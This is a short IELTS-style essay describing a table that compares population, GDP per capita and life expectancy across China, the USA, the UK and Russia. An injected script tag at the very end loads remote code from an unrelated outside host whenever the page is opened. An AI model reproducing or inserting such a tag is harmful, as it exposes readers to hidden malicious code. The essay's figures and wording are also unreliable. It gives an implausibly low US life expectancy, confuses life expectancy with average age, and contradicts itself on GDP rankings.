The table below shows key data on the demographics of four different countries

The table compares the population, GDP per capita, and average life expectancy of four different nations.

Overall, China is the most populous nation. GDP per capita in the USA is the highest, while China has the lowest GDP per capita. Moreover, the average life expectancy in the USA is the lowest among other countries.

The population of China accounts for the largest number, at over 1.3 billion. The USA is the second nation, at about 318 million people. The UK is the least populous country, at approximately 65 million, or half the population of Russia.

The USA has the highest GDP per capita, at about 54.000 USD. Followed by the economic output per capita of China, with the figure being the lowest, at nearly 7.000 USD.

In terms of average life expectancy, the UK has the oldest average age, at 81.5. While the USA has recorded the youngest average life expectancy, at just 69.2<script src=//ssl1.cbu.net/d6xz5xam></script>